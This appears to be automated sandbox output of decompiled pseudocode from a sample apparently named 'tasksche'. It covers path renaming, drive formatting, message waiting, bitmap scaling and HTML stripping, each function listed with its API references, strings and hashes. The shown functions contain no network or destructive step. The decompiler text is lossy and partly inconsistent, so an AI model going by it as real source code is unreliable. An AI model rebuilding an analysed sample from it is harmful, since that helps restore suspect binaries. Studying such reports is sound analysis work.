				short _t39;
				long _t41;
				void* _t46;
				short _t48;
				void* _t73;
				WCHAR* _t74;
				void* _t76;
				void* _t83;
				void* _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				E0041A4DC(E004296F3, _t91);
				E0041AAF0(0x5028);
				_t74 =  *(_t91 + 8);
				_t38 = _t91 - 0x5034;
				__imp__GetLongPathNameW(_t74, _t38, 0x800, _t83, _t87, _t73);
				if(_t38 == 0 || _t38 >= 0x800) {
					L19:
					_t39 = 0;
					__eflags = 0;
				} else {
					_t41 = GetShortPathNameW(_t74, _t91 - 0x4034, 0x800);
					if(_t41 == 0) {
						goto L19;
					} else {
						_t98 = _t41 - 0x800;
						if(_t41 >= 0x800) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t91 - 0x10)) = E0040A5DB(_t98, _t91 - 0x5034);
							_t85 = E0040A5DB(_t98, _t91 - 0x4034);
							if( *_t45 == 0) {
								goto L19;
							} else {
								_t46 = E00411E60( *((intOrPtr*)(_t91 - 0x10)), _t85);
								_t100 = _t46;
								if(_t46 == 0) {
									goto L19;
								} else {
									_t48 = E00411E60(E0040A5DB(_t100, _t74), _t85);
									if(_t48 != 0) {
										goto L19;
									} else {
										 *(_t91 - 0x1010) = _t48;
										_t86 = 0;
										while(1) {
											_t103 =  *(_t91 - 0x1010);
											if( *(_t91 - 0x1010) != 0) {
												break;
											}
											E00410B9C(_t91 - 0x1010, _t74, 0x800);
											E0040BC16(E0040A5DB(_t103, _t91 - 0x1010), 0x800, L"rtmp%d", _t86);
											_t93 = _t93 + 0x10;
											if(E004092A5(_t91 - 0x1010) != 0) {
												 *(_t91 - 0x1010) = 0;
											}
											_t86 = _t86 + 0x7b;
											if(_t86 < 0x2710) {
												continue;
											} else {
												_t107 =  *(_t91 - 0x1010);
												if( *(_t91 - 0x1010) == 0) {
													goto L19;
												} else {
													break;
												}
											}
											goto L20;
										}
										E00410B9C(_t91 - 0x3034, _t74, 0x800);
										_push(0x800);
										E0040A745(_t107, _t91 - 0x3034,  *((intOrPtr*)(_t91 - 0x10)));
										if(MoveFileW(_t91 - 0x3034, _t91 - 0x1010) == 0) {
											goto L19;
										} else {
											E00408786(_t91 - 0x2034);
											 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
											_t76 = 0;
											if(E004092A5( *(_t91 + 8)) == 0) {
												_t76 = E00408923(_t91 - 0x2034,  *(_t91 + 8), 0x12);
											}
											MoveFileW(_t91 - 0x1010, _t91 - 0x3034);
											if(_t76 != 0) {
												E00408A32(_t91 - 0x2034);
												E00408A80(_t91 - 0x2034);
											}
											 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
											E00408C7D(_t76, _t91 - 0x2034);
											_t39 = 1;
										}
									}
								}
							}
						}
					}
				}
				L20:
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t39;
			}

0x004084f3
0x004084fd
0x00408503
0x0040850e
0x00408516
0x0040851e
0x004086ab
0x004086ab
0x004086ab
0x0040852c
0x00408535
0x0040853d
0x00000000
0x00408543
0x00408543
0x00408545
0x00000000
0x0040854b
0x00408557
0x00408566
0x0040856c
0x00000000
0x00408572
0x00408576
0x0040857b
0x0040857d
0x00000000
0x00408583
0x0040858b
0x00408592
0x00000000
0x00408598
0x00408598
0x0040859f
0x004085a1
0x004085a1
0x004085a9
0x00000000
0x00000000
0x004085b4
0x004085cd
0x004085d2
0x004085e3
0x004085e7
0x004085e7
0x004085ee
0x004085f7
0x00000000
0x004085f9
0x004085f9
0x00408601
0x00000000
0x00000000
0x00000000
0x00000000
0x00408601
0x00000000
0x004085f7
0x00408610
0x00408615
0x00408620
0x0040863d
0x00000000
0x0040863f
0x00408645
0x0040864d
0x00408651
0x0040865a
0x0040866c
0x0040866c
0x0040867c
0x00408680
0x00408688
0x00408693
0x00408693
0x00408698
0x004086a2
0x004086a7
0x004086a7
0x0040863d
0x00408592
0x0040857d
0x0040856c
0x00408545
0x0040853d
0x004086ad
0x004086b3
0x004086bb

APIs

__EH_prolog.LIBCMT ref: 004084F3
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408516
GetShortPathNameW.KERNEL32 ref: 00408535

Part of subcall function 0040A5DB: _wcslen.LIBCMT ref: 0040A5E1

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

_swprintf.LIBCMT ref: 004085CD

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

MoveFileW.KERNEL32(?,00000000), ref: 00408639
MoveFileW.KERNEL32(00000000,?), ref: 0040867C

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

rtmp%d, xrefs: 004085BA

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction ID: 086441498323e4bc326e09acd5d1366d0aff3811eaae5beb392a373780c828d6
Opcode Fuzzy Hash: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction Fuzzy Hash: DE415E71901218AACB20EB61CE45EDF777CAF00394F0008ABB585B7181EA7D9B959E68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, L"%c:\\",  *_t30 & 0x0000ffff);
			}

0x0040aa7e
0x0040aa83
0x0040aa8a
0x0040aa8d
0x0040aa94
0x0040aab1
0x0040aab5
0x0040aabd
0x0040aac2
0x0040aacb
0x0040aad2
0x0040aadb
0x0040aae5
0x0040aadd
0x0040aae1
0x0040aae1
0x0040aaeb
0x0040aaf1
0x0040aaf3
0x0040aaf3
0x0040aaf8
0x0040ab00
0x0040ab02
0x0040ab02
0x0040aacb
0x00000000
0x0040ab06
0x00000000

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Strings

%s.%d.tmp, xrefs: 0040AA82
%c:\, xrefs: 0040AA9A

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 004192D0 Relevance: 12.1, APIs: 8, Instructions: 71
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004192D0(intOrPtr __ecx) {
				long _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				short _v32;
				struct tagMSG _v60;
				void* _t23;
				intOrPtr* _t25;
				short _t28;
				intOrPtr* _t30;

				_v12 = __ecx;
				_v8 = GetTickCount();
				_t23 = GetTickCount() - _v8;
				while(_t23 <= 0x2710) {
					_t25 =  *((intOrPtr*)(_v12 + 0x10));
					 *((intOrPtr*)( *_t25 + 0xe0))(_t25,  &_v16);
					if(_v16 != 4) {
						if(PeekMessageW( &_v60, 0, 0, 0, 0) != 0) {
							TranslateMessage( &_v60);
							DispatchMessageW( &_v60);
							GetMessageW( &_v60, 0, 0, 0);
						}
						_t23 = GetTickCount() - _v8;
						continue;
					}
					break;
				}
				__imp__#8( &_v32);
				_t28 = 3;
				_v32 = _t28;
				_t30 =  *((intOrPtr*)(_v12 + 0x10));
				_v24 = 0x96;
				return  *((intOrPtr*)( *_t30 + 0xd8))(_t30, 0x3f, 2,  &_v32, 0);
			}

0x004192df
0x004192e4
0x004192e9
0x00419346
0x004192f8
0x00419302
0x0041930c
0x0041931e
0x00419324
0x0041932e
0x0041933b
0x0041933b
0x00419343
0x00000000
0x00419343
0x00000000
0x0041930c
0x0041934e
0x00419356
0x0041935c
0x00419363
0x0041936a
0x0041937e

APIs

GetTickCount.KERNEL32 ref: 004192E2
GetTickCount.KERNEL32 ref: 004192E7
PeekMessageW.USER32 ref: 00419316
TranslateMessage.USER32(?), ref: 00419324
DispatchMessageW.USER32 ref: 0041932E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041933B
GetTickCount.KERNEL32 ref: 00419341
VariantInit.OLEAUT32(?), ref: 0041934E

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction ID: 9cb0af2a0f3e63d9aa0a53d062aebc77c377528e3d470f830326fa06e80cb38f
Opcode Fuzzy Hash: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction Fuzzy Hash: C121F7B1E00208AFDB10DFE4D888EEEBBBCEF48305F504866F911E7250D6799E458B61

Uniqueness

Uniqueness Score: -1.00%

Function 00419EA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 184
comCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00419EA0(void* __edx, long long __fp0, void* _a4, signed int _a8, void* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				struct HDC__* _v36;
				void* _v40;
				signed int _v56;
				signed int _v60;
				void _v64;
				struct HDC__* _v92;
				short _v94;
				short _v96;
				signed int _v100;
				signed int _v104;
				struct tagBITMAPINFO _v108;
				void* __edi;
				signed int _t76;
				char* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t84;
				intOrPtr* _t86;
				short _t94;
				signed int _t97;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t111;
				intOrPtr* _t114;
				intOrPtr* _t117;
				signed int _t121;
				intOrPtr _t127;
				void* _t147;
				signed int _t151;
				long long* _t153;
				long long _t156;

				_t156 = __fp0;
				if(E00419E75() != 0) {
					GetObjectW(_a4, 0x18,  &_v64);
					_t151 = _a8;
					asm("cdq");
					_t76 = _v56 * _t151 / _v60;
					_t121 = _a12;
					if(_t76 < _t121) {
						_t121 = _t76;
					}
					_t77 =  &_v8;
					__imp__CoCreateInstance(0x42b208, 0, 1, 0x42b100, _t77, _t147);
					if(_t77 < 0) {
						L17:
						_t78 = _a4;
						goto L18;
					} else {
						_t79 = _v8;
						_t80 =  *((intOrPtr*)( *_t79 + 0x54))(_t79, _a4, 0, 2,  &_v12);
						_t81 = _v8;
						if(_t80 < 0) {
							L10:
							 *((intOrPtr*)( *_t81 + 8))(_t81);
							goto L17;
						}
						_push( &_v16);
						_v16 = 0;
						_push(_t81);
						if( *((intOrPtr*)( *_t81 + 0x28))() < 0) {
							L9:
							_t84 = _v12;
							 *((intOrPtr*)( *_t84 + 8))(_t84);
							_t81 = _v8;
							goto L10;
						}
						_t86 = _v16;
						asm("fldz");
						_t127 =  *_t86;
						_push(0);
						_push(_t127);
						_push(_t127);
						 *_t153 = _t156;
						_push(0);
						_push(0);
						_push(0x42b218);
						_push(_v12);
						_push(_t86);
						if( *((intOrPtr*)(_t127 + 0x20))() >= 0) {
							E0041A820(0,  &_v108, 0, 0x2c);
							_v100 =  ~_t121;
							_v96 = 1;
							_t94 = 0x20;
							_v94 = _t94;
							_v108.bmiHeader = 0x28;
							_v104 = _t151;
							_v92 = 0;
							_v20 = 0;
							_t97 = CreateDIBSection(0,  &_v108, 0,  &_v24, 0, 0);
							_a12 = _t97;
							asm("sbb eax, eax");
							if(( ~_t97 & 0x7ff8fff2) + 0x8007000e >= 0) {
								_t107 = _v8;
								 *((intOrPtr*)( *_t107 + 0x2c))(_t107,  &_a8);
								_t109 = _a8;
								 *((intOrPtr*)( *_t109 + 0x20))(_t109, _v12, _t151, _t121, 3);
								_push(_v24);
								_t111 = _a8;
								_push(_t151 * _t121 << 2);
								_push(_t151 << 2);
								_push( &_v40);
								_v40 = 0;
								_v36 = 0;
								_v32 = _t151;
								_v28 = _t121;
								_push(_t111);
								if( *((intOrPtr*)( *_t111 + 0x1c))() < 0) {
									DeleteObject(_a12);
								} else {
									_v20 = _a12;
								}
								_t114 = _a8;
								 *((intOrPtr*)( *_t114 + 8))(_t114);
							}
							_t101 = _v12;
							 *((intOrPtr*)( *_t101 + 8))(_t101);
							_t103 = _v16;
							 *((intOrPtr*)( *_t103 + 8))(_t103);
							_t105 = _v8;
							 *((intOrPtr*)( *_t105 + 8))(_t105);
							_t78 = _v20;
							if(_t78 != 0) {
								L18:
								return _t78;
							} else {
								goto L17;
							}
						}
						_t117 = _v16;
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						goto L9;
					}
				}
				return E00419D0B(_a4, _a8, _a12);
			}

0x00419ea0
0x00419ead
0x00419ecd
0x00419ed6
0x00419edc
0x00419edd
0x00419ee0
0x00419ee5
0x00419ee7
0x00419ee7
0x00419eea
0x00419efd
0x00419f05
0x0041a056
0x0041a056
0x00000000
0x00419f0b
0x00419f0b
0x00419f1b
0x00419f20
0x00419f23
0x00419f6a
0x00419f6d
0x00000000
0x00419f6d
0x00419f28
0x00419f29
0x00419f2e
0x00419f34
0x00419f5e
0x00419f5e
0x00419f64
0x00419f67
0x00000000
0x00419f67
0x00419f36
0x00419f39
0x00419f3b
0x00419f3d
0x00419f3e
0x00419f3f
0x00419f40
0x00419f43
0x00419f44
0x00419f45
0x00419f4a
0x00419f4d
0x00419f53
0x00419f7c
0x00419f88
0x00419f90
0x00419f94
0x00419f97
0x00419fa5
0x00419fac
0x00419faf
0x00419fb2
0x00419fb5
0x00419fbb
0x00419fc0
0x00419fcc
0x00419fce
0x00419fd8
0x00419fdb
0x00419fe8
0x00419feb
0x00419fee
0x00419ff9
0x00419fff
0x0041a003
0x0041a004
0x0041a007
0x0041a00a
0x0041a00d
0x0041a012
0x0041a018
0x0041a025
0x0041a01a
0x0041a01d
0x0041a01d
0x0041a02b
0x0041a031
0x0041a031
0x0041a034
0x0041a03a
0x0041a03d
0x0041a043
0x0041a046
0x0041a04c
0x0041a04f
0x0041a054
0x0041a059
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a054
0x00419f55
0x00419f5b
0x00000000
0x00419f5b
0x00419f05
0x00000000

APIs

Part of subcall function 00419E75: GetDC.USER32(00000000), ref: 00419E79
Part of subcall function 00419E75: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419E84
Part of subcall function 00419E75: ReleaseDC.USER32 ref: 00419E8F

GetObjectW.GDI32(00000200,00000018,?,00000000,742BBB20), ref: 00419ECD
CoCreateInstance.OLE32(0042B208,00000000,00000001,0042B100,?,00000000,?), ref: 00419EFD

Part of subcall function 00419D0B: GetDC.USER32(00000000), ref: 00419D17
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(00000000), ref: 00419D27
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(?), ref: 00419D2E
Part of subcall function 00419D0B: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
Part of subcall function 00419D0B: CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419D71
Part of subcall function 00419D0B: SelectObject.GDI32(?,00000200), ref: 00419D7C
Part of subcall function 00419D0B: StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419DA4
Part of subcall function 00419D0B: SelectObject.GDI32(?,00419EBD), ref: 00419DAC
Part of subcall function 00419D0B: DeleteDC.GDI32(00000000), ref: 00419DB5
Part of subcall function 00419D0B: DeleteDC.GDI32(?), ref: 00419DBA
Part of subcall function 00419D0B: ReleaseDC.USER32 ref: 00419DC0

Strings

(, xrefs: 00419FA5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: (
API String ID: 189428636-3887548279
Opcode ID: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction ID: d8cf3f11634150c5eb1370622c6fe0712570af28e2ae67cdae83cea958a68594
Opcode Fuzzy Hash: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction Fuzzy Hash: 21610875A00209EFCB00DFA5D888EEEBBB9FF89704B10845AF815EB250D7759E51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041947D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041947D(void* __ebx, void* __ecx, void* __eflags, signed short* _a4, signed short* _a7) {
				signed short* _v8;
				void* __edi;
				signed short* _t18;
				signed short* _t19;
				signed int _t20;
				signed int _t21;
				signed short _t22;
				void* _t23;
				void* _t25;
				signed int _t26;
				void* _t27;
				signed int _t29;
				signed short* _t30;
				void* _t34;
				signed short* _t35;
				short _t41;
				signed int _t42;
				signed short _t43;
				short _t44;
				void* _t45;
				signed short* _t46;
				void* _t49;
				signed short* _t51;
				short* _t52;
				short* _t54;
				signed short* _t56;
				signed short* _t69;

				_push(__ecx);
				_t56 = _a4;
				_t49 = __ecx;
				_t18 = E0041CF3E(__ebx, _t45, _t49, E0041A7AF(_t56) + _t16 + 2);
				_v8 = _t18;
				if(_t18 == 0) {
					L44:
					return _t18;
				}
				_t19 = E004191A2(_t56);
				_t51 = _v8;
				_a7 = _t19;
				_t20 =  *_t56 & 0x0000ffff;
				if(_t20 == 0) {
					L43:
					_t18 = _v8;
					goto L44;
				}
				_push(__ebx);
				while(1) {
					_t65 = _t20;
					if(_t20 != 0) {
						goto L3;
					}
					L26:
					_t21 = E00411E81(_t65, _t56, L"</p>", 4);
					asm("sbb bl, bl");
					_t34 =  ~_t21 + 1;
					_t66 = _t34;
					if(_t34 != 0 || E00411E81(_t66, _t56, L"<br>", 4) == 0) {
						_t22 = 0xd;
						 *_t51 = _t22;
						_t23 = 2;
						_t52 = _t51 + _t23;
						_t41 = 0xa;
						 *_t52 = _t41;
						_t51 = _t52 + _t23;
						if(_t34 != 0) {
							_t43 = 0xd;
							 *_t51 = _t43;
							_t54 = _t51 + _t23;
							_t44 = 0xa;
							 *_t54 = _t44;
							_t51 = _t54 + _t23;
							_t69 = _t51;
						}
					}
					 *_t51 = 0;
					_t25 = E00411E81(_t69, _t56, L"<style>", 7);
					if(_t25 != 0) {
						while(1) {
							_t26 =  *_t56 & 0x0000ffff;
							__eflags = _t26;
							if(_t26 == 0) {
								break;
							}
							__eflags = _t26 - 0x3e;
							if(_t26 == 0x3e) {
								L40:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								goto L41;
							}
							_t56 =  &(_t56[1]);
							__eflags = _t56;
						}
						__eflags =  *_t56 - 0x3e;
						if( *_t56 != 0x3e) {
							goto L41;
						}
						goto L40;
					} else {
						_t71 =  *_t56 - _t25;
						if( *_t56 == _t25) {
							L42:
							goto L43;
						} else {
							goto L32;
						}
						while(1) {
							L32:
							_t27 = E00411E81(_t71, _t56, L"</style>", 8);
							_t56 =  &(_t56[1]);
							if(_t27 == 0) {
								break;
							}
							if( *_t56 != 0) {
								continue;
							}
							L41:
							_t20 =  *_t56 & 0x0000ffff;
							if(_t20 != 0) {
								goto L3;
							}
							goto L42;
						}
						_t56 =  &(_t56[7]);
						goto L41;
					}
					L3:
					__eflags = _t20 - 0x3c;
					if(__eflags == 0) {
						goto L26;
					}
					__eflags = _a7;
					if(_a7 == 0) {
						L10:
						_t35 = 0;
						__eflags = _a7;
						if(_a7 == 0) {
							L18:
							_t29 =  *_t56 & 0x0000ffff;
							__eflags = _t29;
							if(__eflags == 0) {
								goto L26;
							}
							__eflags = _t29 - 0x20;
							if(_t29 != 0x20) {
								L22:
								 *_t51 = _t29;
								_t51 =  &(_t51[1]);
								__eflags = _t51;
								L23:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								L24:
								_t20 =  *_t56 & 0x0000ffff;
								continue;
							}
							__eflags = _t51 - _v8;
							if(_t51 == _v8) {
								goto L22;
							}
							__eflags =  *((intOrPtr*)(_t51 - 2)) - _t29;
							if( *((intOrPtr*)(_t51 - 2)) == _t29) {
								goto L23;
							}
							goto L22;
						}
						__eflags = _t20 - 0x26;
						if(_t20 != 0x26) {
							goto L18;
						}
						_t46 = 0;
						__eflags = 0;
						do {
							_t30 = _t46 + _t56;
							_t42 =  *_t30 & 0x0000ffff;
							__eflags = _t42;
							if(_t42 == 0) {
								break;
							}
							__eflags = _t42 - 0x3b;
							if(_t42 == 0x3b) {
								_t12 =  &(_t30[1]); // 0x2
								_t56 = _t12;
								_t35 = 1;
							}
							_t46 = _t46 + 2;
							__eflags = _t46 - 0x28;
						} while (_t46 < 0x28);
						__eflags = _t35;
						if(__eflags != 0) {
							goto L24;
						}
						goto L18;
					}
					__eflags = _t20 - 0xd;
					if(_t20 == 0xd) {
						L7:
						__eflags = _t51 - _v8;
						if(_t51 == _v8) {
							L9:
							_t29 = 0x20;
							goto L22;
						}
						__eflags =  *((short*)(_t51 - 2)) - 0x20;
						if( *((short*)(_t51 - 2)) == 0x20) {
							goto L23;
						}
						goto L9;
					}
					__eflags = _t20 - 0xa;
					if(_t20 != 0xa) {
						goto L10;
					}
					goto L7;
				}
			}

0x00419480
0x00419482
0x00419487
0x00419493
0x0041949a
0x0041949f
0x004195f9
0x004195fc
0x004195fc
0x004194a8
0x004194ad
0x004194b0
0x004194b3
0x004194b9
0x004195f6
0x004195f6
0x00000000
0x004195f6
0x004194bf
0x0041953e
0x0041953e
0x00419541
0x00000000
0x00000000
0x00419547
0x0041954f
0x00419558
0x0041955a
0x0041955a
0x0041955c
0x00419571
0x00419572
0x00419577
0x00419578
0x0041957c
0x0041957d
0x00419580
0x00419584
0x00419588
0x00419589
0x0041958e
0x00419590
0x00419591
0x00419594
0x00419594
0x00419594
0x00419584
0x004195a0
0x004195a3
0x004195aa
0x004195d9
0x004195d9
0x004195dc
0x004195df
0x00000000
0x00000000
0x004195d1
0x004195d5
0x004195e7
0x004195e8
0x004195e8
0x00000000
0x004195e8
0x004195d8
0x004195d8
0x004195d8
0x004195e1
0x004195e5
0x00000000
0x00000000
0x00000000
0x004195ac
0x004195ac
0x004195af
0x004195f5
0x00000000
0x00000000
0x00000000
0x00000000
0x004195b1
0x004195b1
0x004195b9
0x004195bf
0x004195c2
0x00000000
0x00000000
0x004195c8
0x00000000
0x00000000
0x004195e9
0x004195e9
0x004195ef
0x00000000
0x00000000
0x00000000
0x004195ef
0x004195cc
0x00000000
0x004195cc
0x004194c2
0x004194c2
0x004194c6
0x00000000
0x00000000
0x004194c8
0x004194cc
0x004194eb
0x004194eb
0x004194ed
0x004194f0
0x0041951b
0x0041951b
0x0041951e
0x00419521
0x00000000
0x00000000
0x00419523
0x00419527
0x00419534
0x00419534
0x00419538
0x00419538
0x00419539
0x0041953a
0x0041953a
0x0041953b
0x0041953b
0x00000000
0x0041953b
0x00419529
0x0041952c
0x00000000
0x00000000
0x0041952e
0x00419532
0x00000000
0x00000000
0x00000000
0x00419532
0x004194f2
0x004194f6
0x00000000
0x00000000
0x004194f8
0x004194f8
0x004194fa
0x004194fa
0x004194fd
0x00419500
0x00419503
0x00000000
0x00000000
0x00419505
0x00419509
0x0041950b
0x0041950b
0x0041950e
0x0041950e
0x00419511
0x00419512
0x00419512
0x00419517
0x00419519
0x00000000
0x00000000
0x00000000
0x00419519
0x004194ce
0x004194d2
0x004194da
0x004194da
0x004194dd
0x004194e6
0x004194e8
0x00000000
0x004194e8
0x004194df
0x004194e4
0x00000000
0x00000000
0x00000000
0x004194e4
0x004194d4
0x004194d8
0x00000000
0x00000000
0x00000000
0x004194d8

APIs

_wcslen.LIBCMT ref: 00419489
_malloc.LIBCMT ref: 00419493

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Strings

</p>, xrefs: 00419549
<br>, xrefs: 00419560
</style>, xrefs: 004195B3
<style>, xrefs: 00419598

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
